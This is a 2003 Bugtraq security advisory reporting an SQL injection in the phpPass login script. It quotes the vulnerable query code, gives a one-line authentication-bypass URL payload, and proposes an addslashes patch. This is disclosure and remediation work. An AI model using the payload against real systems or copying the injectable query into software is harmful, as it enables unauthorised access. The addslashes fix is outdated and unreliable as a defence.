Bugtraq mailing list archives

phpPass (PHP)

From: "Frog Man" <leseulfrog () hotmail com>
Date: Mon, 13 Jan 2003 11:34:27 +0100


Informations :
°°°°°°°°°°°°°°
Version : 2
Website : http://www.agames-net.com
Problem : SQL Injection

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
accesscontrol.php :
------------------------------------------------
[...]
session_register("uid");
session_register("pwd");
[...]
$sql = "SELECT * FROM user WHERE
       userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
[...]
if (mysql_num_rows($result) == 0) {
 session_unregister("uid");
 session_unregister("pwd");
 ?>
 <html>
 <head>
 <title> Access Denied </title>
[...]
 exit;
[...]
------------------------------------------------


Exploit :
°°°°°°°°°
http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''=&apos;


Patch :
°°°°°°°
In accesscontrol.php, replace the lines :
-------------------------------------------------
$sql = "SELECT * FROM user WHERE
       userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
------------------------------------------------

by :
------------------------------------------------------------------------
$uid=addslashes($uid);
$pwd=addslashes($pwd);
$sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
------------------------------------------------------------------------

A patch can be found on http://www.phpsecure.org .


More details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/phpPass.txt
translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FphpPass.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m@n



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phpPass (PHP) Frog Man (Jan 20)